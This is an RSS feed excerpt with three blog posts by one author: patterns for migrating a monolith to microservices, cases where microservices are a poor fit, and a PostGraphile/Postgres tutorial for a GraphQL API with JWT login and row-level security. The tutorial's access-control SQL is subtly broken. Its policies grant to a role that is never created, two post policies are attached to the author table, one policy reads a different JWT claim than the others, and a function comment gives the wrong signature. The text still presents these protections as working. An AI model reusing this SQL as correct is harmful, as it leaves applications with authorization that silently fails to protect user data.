            <category><![CDATA[programming]]></category>
            <category><![CDATA[software-architecture]]></category>
            <category><![CDATA[microservices]]></category>
            <dc:creator><![CDATA[Abhishek Kapoor]]></dc:creator>
            <pubDate>Tue, 04 May 2021 12:59:49 GMT</pubDate>
            <atom:updated>2021-05-04T12:59:49.169Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MnqlCVLSCHQZG6A9-V4fpA.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@kaleidico?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Kaleidico</a> on <a href="https://unsplash.com/s/photos/migration?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>Microservices provide a lot of advantages over monolith when implemented correctly. Many Organizations want to change their monolith application code to microservices code. It turns out, migrating to microservices isn’t that easy. The first question you should ask is, do you really need microservices. Many problems of the monolith can be fixed easily by using modular monolith architecture. Once you have become sure that you want microservice, you have to create a plan to convert monolith into microservices. There are some patterns that can help you to create the required plan.</p><p>Before we go into actual Patterns to divide a monolith, let’s talk about what shouldn’t be done.</p><h3>Don’t do Big Bang ReWrite</h3><p>Big Bang Rewrite, as the name suggests, we have to rewrite the entire monolith’s code in microservices and deploy it in production all at once. Once Martin Fowler rightly said:</p><blockquote>The only thing a Big Bang rewrite guarantees is a Big Bang!</blockquote><p>Big bang Rewrites are always dangerous. Big bang rewrites take a lot of time to develop as you have to code everything which is in a monolith application. Also, during the development of microservices architecture, you have to freeze further development in your monolith, as, every change done in monolith has to be done in microservice also. For most companies, freezing application development can be dangerous as they have to adapt according to the change in the business environment.</p><p>It&#39;s always better for an organization to gradually move to microservices from the monolith. Some design patterns are available which can help you to gradually move to microservice architecture from monolith.</p><h3>Strangler Fig</h3><p>Strangler fig is a pattern which was purposed by Martin Fowler. Strangler fig is inspired by actual figs, which start small on top branches of the host tree. Fig’s root starts growing towards the ground. Slowly its roots will reach the ground and it will keep growing, even killing the host tree in the process. Likewise in the software world, we will build microservices around a single monolith application according to this pattern. We will keep adding more microservices incrementally in the system, eventually replacing the entire monolith system one day.</p><p>In Strangler Fig we create new services around the edges of the existing monolith. What do I mean by edges of monolith? let&#39;s understand by example.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*J7Yih72_f2tCTn5oDE1mUA.png" /><figcaption>Figure 1: Monolithic application</figcaption></figure><p>In Figure 1, you can see we have one monolith application. Now, in the above diagram, modules Product inventory, Order Management, and Billing Management are at the edge of the application. Notification Management has multiple inbound calls from within the application. Therefore, we can’t redirect all inbound calls to Notification Management from the outside application. We have another pattern to move Notification Management to microservices which we will discuss later.</p><p>Suppose we wanted to migrate Billing Management to microservice. We can use the below steps to migrate monolithic to microservice.</p><ol><li><em>Insert Proxy:</em> Unless you already have a proxy in place, we need to deploy another HTTP proxy. In Step 1, we have an HTTP proxy that will redirect all calls directly to the monolithic application. By introducing HTTP proxy you can also know if any additional hope over the network can delay API calls. If the delay is significant, then you have to stop migration and first improve your network before continuing further.</li><li><em>Deploy Microservice:</em> In step 2, you will just deploy microservice in production. There won&#39;t be any live traffic on our microservice. In step 2 we will just test our microservice if it is working fine.</li><li><em>Redirect Traffic:</em> In step 3, we will redirect actual traffic to our new microservice from HTTP proxy. If there is an issue we can easily roll back by changing the HTTP proxy.</li></ol><p>All steps are also shown in Figure 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gw637bHq5noRVLM3rkX-gg.png" /></figure><h3>Branch by Abstraction</h3><p>When you have to extract a module on which other modules depend, then branch by abstraction pattern can be useful. Suppose in the previous example we wanted to convert notification management into microservice. In that case, we will be using branch by Abstraction. We need to do the below steps to extract a module.</p><ol><li><em>Create abstraction.</em> You need to create abstraction around the module you are going to replace.</li><li><em>Change clients of existing functionality to use new abstraction: </em>you need to refactor old code so that the old implementation, implements abstraction created at step 1.</li><li><em>Create new Implementation. </em>You need to create a new microservice implementation for functionality and deploy it in production and run some tests.</li><li><em>Switch Implementation. </em>Once you have run some tests and you have some confidence then you can switch to a new code.</li><li><em>Cleanup. </em>Once your microservice is up and running then it is better to clean the old code base and remove old modules. You can also remove abstraction if you want to. In many cases, the Abstraction which you created earlier would have just improved your codebase, in those cases it totally fine to keep it.</li></ol><p>TO better understand the entire process please refer to figure 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ubyxKps8fBIk2w8tyA51SQ.png" /><figcaption>Figure 3: Branch by abstraction</figcaption></figure><p>Branch of Abstraction can be used in a lot of places. Its always recommended using Strangler Fig instead of Branch of Abstraction wherever it is possible. Once you are sure you cannot replace some part of the monolith to microservice with Stranger Fig as it is well within your microservice then Branch of Abstraction should be considered.</p><h3><strong>Parallel run</strong></h3><p>No matter how much you test, there are still possibilities of bugs. When you are migrating a critical system then you just cannot leave anything for luck. In such a scenario parallel run pattern can be helpful. In this pattern, we will deploy our newly developed microservice along with monolith in production. We will let data flow from both systems. The Monolith system would be the only source of truth initially. We will compare the results of the newly developed microservice with that of the monolith. If we found any mismatch we will fix it in our microservice application. After some time, when we have enough confidence in our new microservice system we can just decommission functionality from the monolith and make microservice the only source of truth.</p><p>In the previous example, let’s say we want to migrate billing management from monolith to microservice. In this case, we will develop a microservice and send the same traffic to our new microservice. At end of the day, we can have any batch job to compare if bills generated by both the legacy system and the new system are the same. Once we will have confidence we can discontinue the billing system from the monolith. We also have some open-source libraries like Github&#39;s scientist library which will help you to implement this pattern better.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*7psPOmlpES2hPaoIADqF4g.jpeg" /><figcaption>Figure 4: Parallel run Pattern</figcaption></figure><p>The patterns which have gone through till here were useful when your functionality was already present in the monolith. Let&#39;s imagine you have to add new functionality. Maybe let’s say you want to email discount coupons to users for the next purchase after every successful purchase. It’s straightforward, you can just add new code from the order module of the monolith to call the newly created discount microservice. But if you didn’t have the code? Say you were using the solution from another vendor or were using some SAAS, then can you still achieve it. The next two patterns which we are going to see are just tailor-made for this situation.</p><h3><strong>Decorating Collaborator</strong></h3><p>This pattern is inspired from one of the pattern which we already know and love, The decorator pattern. In this case, like a strangler pattern, we have to introduce a proxy. We will let calls go through a proxy to the monolith and based on the response from the monolith, proxy will call our newly created microservice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*iF9Xk3606N4w9s8bCOMqXQ.png" /><figcaption>Figure 5: Decorating Collaborator</figcaption></figure><p>Figure 5, represents the working of the decorator Collaborator. This pattern should only be used when all data required by microservice is already present in the request or response. In case data is not present then our newly created microservice will have to connect with the database of the monolith. It will couple our new microservice with the database of the monolith which is never a good idea.</p><h3>Change Data Capture Pattern</h3><p>In this pattern, we will react to changes happening in the database. Let&#39;s say, we want to create a loyalty card for every customer created in our system. In this case, we can listen to the change in the customer table. Once we detect a new customer has created n the customer table we can invoke Loyalty microservice. Loyalty microservice then can issue a loyalty card to customers and send an email to them with details. There are various ways that you can utilize to listen to the change in the database. You can either use triggers or you can use transaction logs of the database. One can also write a process that can trigger after few minutes and check for any change in the database.</p><h3><strong>Conclusion</strong></h3><p>Microservices offer many advantages when implemented correctly. Converting your monolith application to microservice is not going to happen in a day or week. One should also remember converting to microservice is not a race, but a slow marathon. It requires a lot of patience and good architectural decisions have to be made.</p><p>In this article, we discussed some patterns you can use. Most of the time you will have to choose multiple patterns to fully convert your monolith application to microservice. In end, I will just suggest, before migrating to microservice take your time to figure out the strategy you will be using, it is going to pay off in end.</p><h3>References:</h3><ul><li><a href="https://martinfowler.com/bliki/StranglerFigApplication.html">bliki: Strangler Fig</a></li><li><a href="https://martinfowler.com/bliki/BranchByAbstraction.html">bliki: Branch By Abstraction</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72fcbcc7846e" width="1" height="1" alt=""><hr><p><a href="https://levelup.gitconnected.com/patterns-to-know-before-migrating-your-monolith-to-microservices-72fcbcc7846e">Patterns to know before migrating your monolith to microservices</a> was originally published in <a href="https://levelup.gitconnected.com/">Level Up Coding</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reminder: Microservices are not a free lunch]]></title>
            <link>https://levelup.gitconnected.com/reminder-microservices-are-not-a-free-lunch-78daab7882ea?source=rss-ba76cfcdba2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/78daab7882ea</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[monolithic-architecture]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[microservices]]></category>
            <dc:creator><![CDATA[Abhishek Kapoor]]></dc:creator>
            <pubDate>Sun, 25 Apr 2021 13:41:29 GMT</pubDate>
            <atom:updated>2021-04-25T13:41:29.473Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5rXejhcKLorK7JiXnQH-tg.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@homajob?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Scott Graham</a> on <a href="https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>We see more and more organization moving their traditional monolithic application to microservices architecture. Like every trending thing, microservices architecture is being misused. Everyone wants to use microservices, I have literally seen people using microservices that can easily be handled by the monolith. I am not saying microservices are bad, they are really good and they bring a lot of nice things with them. On the other hand, microservices also introduce more complexity to your system. Today, let us explore together the scenarios where microservices may not be a good choice.</p><h3><strong>You are just Getting Started.</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*21GrQXA-DfhL7_wHN6GDlw.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@andrewtneel?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Andrew Neel</a> on <a href="https://unsplash.com/s/photos/startup-2-people?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>If you are just building your startup and maybe you just have 2 or 3 people in your team, then using microservices maybe is not a good idea. Microservices require extra effort, and those extra efforts can significantly slow your team. For deploying in production, microservices also require a lot of automation, you will have to develop some sort of platform which will do all of deploying for you. In simple monolith applications, it&#39;s way easier to deploy applications. Honestly, if you will carefully design your application by paying a lot of attention to modularity then it will be way too easy to switch to microservices architecture when the time will be right.</p><p>Even though now we have some off-the-shelve CI/CD pipelines available like one being offered by AWS. Again they also add more complexity to your system and every complexity to your system will push your release date back by many weeks. You should honestly ask when starting up: are microservices worth it at this time for this project?</p><h3>Simple Application.</h3><p>Let’s say you are designing a simple application that may never require to be scaled and there is also no complex business involved. In such cases using microservices is a bit of overkill. You will spend a lot of precious time building microservice and preparing some sort of platform to deploy them. What is the point of wasting so much time when it will never be used at the scale microservices are intended to? Also, Microservices architecture requires some extra resources to exist. If your application is simple enough then maybe extra resources required because of the introduction of microservice architecture can even exceed resources required by the application itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*MrDMARKuvUCZliIvT5XtGg.png" /><figcaption>source: <a href="https://martinfowler.com/bliki/MicroservicePremium.html">https://martinfowler.com/bliki/MicroservicePremium.html</a></figcaption></figure><p>Let’s say you are creating an application for keeping data of students studying in a college. Now, do you really think you will need that scalability of microservice architecture? I don’t think so. Also, not all applications are large enough to be broken down into smaller services and in such cases, microservices architecture shouldn’t be used.</p><h3>Not enough Microservice Experience.</h3><p>Microservices only work when they are designed well. If microservices are not designed properly they can easily backfire. There are a lot of books written about how a microservice should be designed. Still, people make a lot of mistakes when designing microservices. Not only design but a lot of skills are also required when developing microservice. Developers should be production aware as well as should know about operations also. Developers just can&#39;t throw anything over to the operation team to deploy on production.</p><p>If even one of the developers was not enough skillful then it won&#39;t slow down just 1 microservice but it will have a ripple effect around the entire application. It&#39;s also true most developers love learning new things but it&#39;s not true for all. It also takes time and effort to learn microservices architecture and management should be aware that there can be some big mistakes in the first version of the application. Sometimes mistakes are so big that you have to start from scratch. Management should give enough space to developers to do their job and if they can’t then microservice architecture isn’t for you.</p><blockquote>Fail often. Fail early. Fail fast. Embracing failure is a means to a successful end. Instead of fearing failure, become empowered by it.</blockquote><blockquote><em>Gary Burnison, </em><a href="https://www.kornferry.com/institute/fail-fast-learn-fast"><em>CEO of Korn Ferry</em></a></blockquote><p>Management should know the risk, and if they are not willing to take it then don&#39;t use Microservices.</p><h3>Trying Something New.</h3><p>If you are building an application on some idea and you really don&#39;t have much trust in that idea. In such cases nearly always using microservices is a bad idea. You really don&#39;t want to add a lot of complexity to the solution, you will just want to create a simple application that will test your idea. If your idea works then maybe you can switch to microservice architecture later on. In case you are building a simple application to test your idea, it&#39;s really important to launch your application as soon as possible. The microservice architecture will just slow you down.</p><p>And not only this microservice are harder to debug and testing is also not simple. When you break a monolith application, communication costs between different services will also increase, increasing latency. If your application requires updating multiple resources across services frequently then it can cause a lot of issues in the microservice world; as you would be using something like a SAGA pattern which will just introduce more complexity.</p><blockquote>Microservices introduce eventual consistency issues because of their laudable insistence on decentralized data management. With a monolith, you can update a bunch of things together in a single transaction. Microservices require multiple resources to update, and distributed transactions are frowned on (for good reason). So now, developers need to be aware of consistency issues, and figure out how to detect when things are out of sync before doing anything the code will regret — <a href="https://martinfowler.com/articles/microservice-trade-offs.html#consistency">Martin Fowler</a>.</blockquote><p>If your application doesn’t need such complexities then these should be avoided as much as possible.</p><h3><strong>Conclusion.</strong></h3><p>Microservices bring a lot of good things to your organization but before adopting them one should also be aware that they also bring some new complexity. One should also remember that maybe organizations like Netflix and Uber become successful because they could scale enough because of microservice architecture but they also didn’t perfect it in a single day. Companies like Netflix and Uber have gone through various iteration of improving their microservice and they also started from monolith only.</p><p>Just because your application is using all the latest technologies doesn’t make your application good. If you can do a task with a simple shell script in a few lines of code then it isn’t necessary to write an application in the spring batch because it is cool. Your application will only be good if your application is functioning as intended and doing this by using only resources which are needed. Developers shouldn&#39;t forget the basic principles of any software design: <a href="https://en.wikipedia.org/wiki/You_aren%27t_gonna_need_it">YAGNI</a> and <a href="https://en.wikipedia.org/wiki/KISS_principle">KISS</a>.</p><p>Last but not least one should always keep learning all those new technologies because you don&#39;t know when you have to use those technologies to make your life easier.</p><h3><strong>References</strong></h3><ul><li><a href="https://martinfowler.com/bliki/MonolithFirst.html">bliki: Monolith First</a></li><li><a href="https://medium.com/swlh/stop-you-dont-need-microservices-dc732d70b3e0">STOP!! You don’t need Microservices.</a></li><li><a href="https://www.feval.ca/posts/microservices/">When Not To Use Microservices</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=78daab7882ea" width="1" height="1" alt=""><hr><p><a href="https://levelup.gitconnected.com/reminder-microservices-are-not-a-free-lunch-78daab7882ea">Reminder: Microservices are not a free lunch</a> was originally published in <a href="https://levelup.gitconnected.com/">Level Up Coding</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Create your next Production Ready GraphQL API in minutes.]]></title>
            <link>https://medium.com/javarevisited/create-your-next-production-ready-graphql-api-in-minutes-72da70b9a0ed?source=rss-ba76cfcdba2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/72da70b9a0ed</guid>
            <category><![CDATA[microservices]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[productivity]]></category>
            <category><![CDATA[postgres]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Abhishek Kapoor]]></dc:creator>
            <pubDate>Sat, 24 Apr 2021 10:11:25 GMT</pubDate>
            <atom:updated>2021-04-24T10:11:25.571Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ESEaBvBebAm7t3d0sGC_OQ.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@possessedphotography?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Possessed Photography</a> on <a href="https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>What if I tell you that you can create a fully functioning GraphQL server that uses Postgres for persistence in just a matter of minutes? If you change table schema in the future, your GraphQL API will automatically detect that change and change itself automatically? Would you believe me? It does sound like Magic, right? Well, let me assure you there is no magic involved here. We will use some libraries which will look like some magic. Excited? Well, let&#39;s see which tools we will be using today.</p><p><strong>Postgres: Our loved Elephant.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*szUy4of1spvhYVlwUdRNsg.png" /><figcaption>Photo by <a href="https://unsplash.com/@gerandeklerk?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Geran de Klerk</a> on <a href="https://unsplash.com/s/photos/elephant?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p><a href="https://medium.com/javarevisited/7-best-free-postgresql-courses-for-beginners-to-learn-in-2021-3bf369d73794">Postgres</a> have many features when I said many, oh boy, there are seriously many. In fact, Postgres has more features than any other open-source database. Did you know Postgres can handle the authorization part for your application also? And not only this, but you can also write your business code in Postgres. Don&#39;t believe me? Today, we will do the same thing, and our business code will be in Postgres only.</p><p><strong>Postgraphile: The wizard.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*knOg-IXYdorWB8JnYOS4_w.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@art_maltsev?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Artem Maltsev</a> on <a href="https://unsplash.com/s/photos/wizard?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>PostGraphile will do all the heavy lifting for us today, and it will connect with Postgres DB and expose our database as a graphQL API. On the Official <a href="https://www.graphile.org/postgraphile/">website </a>of Postgtaphile, they have defined it as:</p><blockquote>PostGraphile automatically detects tables, columns, indexes, relationships, views, types, functions, comments, and more — providing a GraphQL server that is highly intelligent about your data, and that automatically updates itself without restarting when you modify your database.</blockquote><p>Cool right? PostGraphile is an open-source project, and kudos to them for creating such an efficient library. If you are going to use Postgraphile in production, you can also check their pro plan, unlock some new features of Postgraphile.</p><p>You can find Instruction to set up Postgraphile, and <a href="https://javarevisited.blogspot.com/2020/02/top-5-courses-to-learn-postgresql-in.html">Postgres</a> can be found <a href="https://www.graphile.org/postgraphile/quick-start-guide/">here</a>.</p><p>Let&#39;s, first of all, create two schemas.</p><pre>create schema medium_example_public;<br>create schema medium_example_private;<br>commit;</pre><p>you can create as many schemas as you want but in this tutorial, I will be using 2 schemas. I will create all tables in the public schema and the private schema, there will be tables related to authentication. If you are going to use Postgraphile in production also, I recommend defining table structure in the different schema and then exposing those tables in the public schema with views.</p><p>Now, let’s create 1 table in the public schema to contain the author’s data.</p><pre>create table medium_example_public.author (<br> id               serial primary key,<br> name       text not null check (char_length(name) &lt; 80),<br> about            text,<br> created_at       timestamp default now()<br>);<br></pre><p>Now every writer can write articles on some topic, so let&#39;s first create an <a href="https://www.java67.com/2018/07/java-enum-with-constructor-example.html">enum</a> with a different topic name to use later in the post’s table.</p><pre>create type medium_example_public.post_topic as enum (<br>&#39;Programming&#39;,<br>&#39;Gaming&#39;,<br>&#39;Music&#39;,<br>&#39;Culture&#39;<br>);</pre><p>Now, let’s create 1 more table to store all posts.</p><pre>create table medium_example_public.post (<br>id               serial primary key,<br>author_id        integer not null references<br>medium_example_public.author(id),<br>title         text not null check (char_length(title) &lt; 280),<br>body             text,<br>topic            medium_example_public.post_topic,<br>created_at       timestamp default now()<br>);</pre><p>Till now we have created 2 tables, we can also add comments on tables as well as on columns to autogenerated documentation. So let’s do it also</p><pre>comment on table medium_example_public.author is &#39;A user of the medium.&#39;;<br>comment on column medium_example_public.author.id is &#39;The primary unique identifier for the person.&#39;;<br>comment on column medium_example_public.author.name is &#39;The person’s  name.&#39;;<br>comment on column medium_example_public.author.about is &#39;A short description about the user, written by the user.&#39;;<br>comment on column medium_example_public.author.created_at is &#39;The time this person was created.&#39;;</pre><pre>comment on table medium_example_public.post is &#39;A forum post written by a author.&#39;;<br>comment on column medium_example_public.post.id is &#39;The primary key for the post.&#39;;<br>comment on column medium_example_public.post.title is &#39;The title written by the user.&#39;;<br>comment on column medium_example_public.post.author_id is &#39;The id of the author.&#39;;<br>comment on column medium_example_public.post.topic is &#39;The topic this has been posted in.&#39;;<br>comment on column medium_example_public.post.body is &#39;The main body text of our post.&#39;;<br>comment on column medium_example_public.post.created_at is &#39;The time this post was created.&#39;;</pre><p>You have now everything to run <a href="https://medium.com/javarevisited/top-5-graphql-tutorials-and-courses-for-beginners-fb5543506fc2">GraphQL’s API</a> already. Let’s start PostGraphile</p><pre>postgraphile -c postgres://postgres:123456@127.0.0.1/medium --schema medium_example_public</pre><p>We can already run some GraphQL’s Query, let’s assume for the author’s homepage we needed to fetch the author&#39;s detail and all posts written by the author. It can easily be done like below.</p><figure><a href="https://dev.to/javinpaul/5-best-courses-to-learn-graphql-in-2020-2fo5"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o00PuPckgA-ThYsAUPFVmQ.png" /></a></figure><p>It’s unbelievable that we already have some basic <a href="https://javarevisited.blogspot.com/2019/05/top-5-courses-to-learn-graphql-in-2019.html#axzz6AGTrQ8NN">GraphQL queries</a> running, right? If you want to support some other GraphQL’s according to your business, that can also be achieved effortlessly. Let’s say you want to search a string in the post&#39;s body and title. We can write functions in Postgres to support business operations. For example, we can write the below function to search through posts.</p><pre>create function medium_example_public.search_posts(search text)<br>returns setof medium_example_public.post as $$<br>select post.*<br>from medium_example_public.post as post<br>where position(search in post.title) &gt; 0 or position(search in post.body) &gt; 0<br>$$ language sql stable;</pre><pre>comment on function medium_example_public.search_posts(text) is &#39;Returns posts containing a given search term.&#39;;</pre><p>You can see how simple it is. Now let’s test this also.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4-A360lPNR8V4GHakBN9xw.png" /></figure><p>How cool it is, that you can do so much in so little time? and not only this, but you can also use pagination with queries if you want.</p><p>You may be wondering that maybe it is the fastest way to develop GraphQL API’s but where is security? Well, you are right, we cannot deploy any Application without security.</p><p>For the security of our API, we are going to use the <a href="https://medium.com/javarevisited/top-10-courses-to-learn-spring-security-and-oauth2-with-spring-boot-for-java-developers-8f0222d6066d">JWT token</a>. You will need to define a datatype that PostGraphile will use to generate the JWT token. We need our JWT token to contain information about the account id of the author, role, and expiration date of the token. So we will create a type in Postgres like below.</p><pre>create type medium_example_public.jwt_token as (<br>  role text,<br>  account_id integer,<br>  exp bigint<br>);</pre><p>PostGraphile will take this type and make a JWT token for us. We will also need to store the email and password of the user so that once the user is authenticated we can send him a JWT token in output. Let’s create a table for it in our private schema.</p><pre>create table medium_example_private.account (<br>account_id        integer primary key references medium_example_public.author(id) on delete cascade,<br>email            text not null unique check (email ~* &#39;^.+@.+\..+$&#39;),<br>password    text not null<br>);<br>comment on table medium_example_private.account is &#39;login details about authors account.&#39;;<br>comment on column medium_example_private.account.account_id is &#39;Author Id&#39;;<br>comment on column medium_example_private.account.email is &#39;The email address of the author.&#39;;<br>comment on column medium_example_private.account.password is &#39;password of author, stored as hash.&#39;</pre><p>In the account table, we are storing email id, hash encrypted password, and author’s id. Now, let&#39;s create a function that will take email and password in input and will return the JWT token in output.</p><pre>create function medium_example_public.authenticate(email text,<br>password text) returns medium_example_public.jwt_token as $$<br>declare<br>account medium_example_private.account;<br>begin<br>select a.* into account from medium_example_private.account as a<br>where a.email = $1;<br>if account.password = crypt(password, account.password) then<br>return (&#39;medium_example_author&#39;, account.account_id, extract(epoch from (now() + interval &#39;1 days&#39;)))::medium_example_public.jwt_token;<br>else<br>return null;<br>end if;<br>end;<br>$$ language plpgsql strict security definer;</pre><pre>comment on function medium_example_public.authenticate(text, text) is &#39;Create a JWT token with 1 day of validity&#39;;</pre><p>If you know basic <a href="https://medium.com/javarevisited/7-free-courses-to-learn-database-and-sql-for-programmers-and-data-scientist-e7ae19514ed2">SQL</a> you already know what we are doing in the above function. We are trying to authenticate the user, if the email and password are correct we send JWT otherwise null is returned. In case you are wondering what is Crypt? well, it is a function in Postgres that will return a hash of the string.</p><p>Are you Bored reading so many SQLs? just bear with me for 2 more SQLs. Let’s quickly write a function to register a user. This function will insert data in the account table as well as the author table.</p><pre>create function medium_example_public.register_author(<br>name text,<br>email text,<br>password text<br>) returns medium_example_public.author as $$<br>declare<br>author medium_example_public.author;<br>begin<br>insert into medium_example_public.author (name) values<br>(name)<br>returning * into author ;<br>insert into medium_example_private.account (account_id, email, password) values<br>(author.id, email, crypt(password, gen_salt(&#39;bf&#39;)));<br>return author;<br>end;<br>$$ language plpgsql strict security definer;<br>comment on function medium_example_public.register_author(text, text, text, text) is &#39;Register an author&#39;;</pre><p>Now, we have a way to register users, a way to log in users, but hey! I think we are still missing something. I know, we are missing roles, every user should have different roles like a user should be able to see and search posts without having an account, and every user can only access its personal data. For this we are going to use the roles of Postgres, lets create 2 roles:</p><pre>create role medium_example_anonymous;<br>create role medium_example_author;</pre><p>we have now an anonymous role and an author’s role. Now let’s apply for some grants on these tables based on our business. Our anonymous user should be able to only view posts, search for posts, register as an author and view other authors. Once the user is logged in he can modify posts, create new posts or even delete posts.</p><pre>alter default privileges revoke execute on functions from public;<br>grant usage on schema medium_example_public to medium_example_anonymous, medium_example_author;<br>grant select on table medium_example_public.author to medium_example_anonymous, medium_example_author;<br>grant update, delete on table medium_example_public.author to medium_example_author;</pre><pre>grant select on table medium_example_public.post to medium_example_anonymous, medium_example_author;<br>grant insert, update, delete on table medium_example_public.post to medium_example_author;<br>grant usage on sequence medium_example_public.post_id_seq to medium_example_author;<br>grant execute on function medium_example_public.search_posts(text) to medium_example_anonymous, medium_example_author;<br>grant execute on function medium_example_public.authenticate(text, text) to medium_example_anonymous, medium_example_author;<br>grant execute on function medium_example_public.register_author(text, text, text) to medium_example_anonymous;</pre><p>By default, functions in Postgres can be executed from the public, in the 1st line above, we are restricting functions to be executed by the public. Then we are giving grants of table and functions based on our requirements. Now let’s try to register as a user.</p><figure><a href="https://javarevisited.blogspot.com/2020/02/top-5-postman-tutorials-and-courses-for-web-developers.html"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j2jS8spLaOPWgZmeVcHLfw.png" /></a></figure><p>Very good our user has been registered successfully. Now let’s try to get a JWT token with this user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HG9rJ70vfv6NcQrjK1Eunw.png" /></figure><p>As you can see we also got the JWT token successfully. Now let&#39;s create a post with this token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3bStZ1bZWdCaH62lKy2Vng.png" /></figure><p>Right now there is one issue, we are only verifying if a user is a registered user of our website which will mean one user can post on behalf of other users also. This is not good, we will definitely want to change that. Postgres also supports row-level locks. So we are going to use a row-level lock and make sure our users can post only for themselves.</p><pre>alter table medium_example_public.author enable row level security;<br>alter table medium_example_public.post enable row level security;</pre><pre>create policy select_author on medium_example_public.author for select using (true);<br>create policy select_post on medium_example_public.post for select<br>using (true);<br>create policy update_person on medium_example_public.author for update to forum_example_person using (id = nullif(current_setting(&#39;jwt.claims.account_id&#39;, true), &#39;&#39;)::integer);<br>create policy delete_person on medium_example_public.author for delete to forum_example_person using (id = nullif(current_setting(&#39;jwt.claims.account_id&#39;, true), &#39;&#39;)::integer);<br>create policy insert_post on medium_example_public.author for insert to forum_example_person with check (author_id = nullif(current_setting(&#39;jwt.claims.account_id&#39;, true), &#39;&#39;)::integer);<br>create policy update_post on medium_example_public.author for update to forum_example_person using (author_id = nullif(current_setting(&#39;jwt.claims.account_id&#39;, true), &#39;&#39;)::integer);<br>create policy delete_post on medium_example_public.post for delete to forum_example_person using (author_id = nullif(current_setting(&#39;jwt.claims.person_id&#39;, true), &#39;&#39;)::integer);</pre><p>Now let’s try to create a post with the author id of some other user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSuyq8xaN2_zl1T1TiP99A.png" /></figure><p>As you can see we are not allowed to do that. Well, that was it folks for today. If you read it up till here, I really want to thank you.</p><h3><strong>Conclusion</strong></h3><p>When you are going to start a startup it is very much important that you can implement your idea as soon as possible. In such cases, tools like Postgraphile and Postgres can come handy. Most of the time during development we waste our time recreating features that are already there like Authorization in Postgres. Just imagine if you had to do the same in <a href="https://medium.com/javarevisited/top-10-courses-to-learn-spring-boot-in-2020-best-of-lot-6ffce88a1b6e">Spring boot</a>, you will be writing a lot of code for authentication, role-based access which you even don’t really need to. I highly recommend you should give PostGraphile a try once.</p><h3>Resources</h3><ul><li><a href="https://www.graphile.org/postgraphile/postgresql-schema-design/">PostGraphile | PostgreSQL Schema Design</a></li><li><a href="https://netflixtechblog.com/beyond-rest-1b76f7c20ef6">Beyond REST</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72da70b9a0ed" width="1" height="1" alt=""><hr><p><a href="https://medium.com/javarevisited/create-your-next-production-ready-graphql-api-in-minutes-72da70b9a0ed">Create your next Production Ready GraphQL API in minutes.</a> was originally published in <a href="https://medium.com/javarevisited">Javarevisited</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
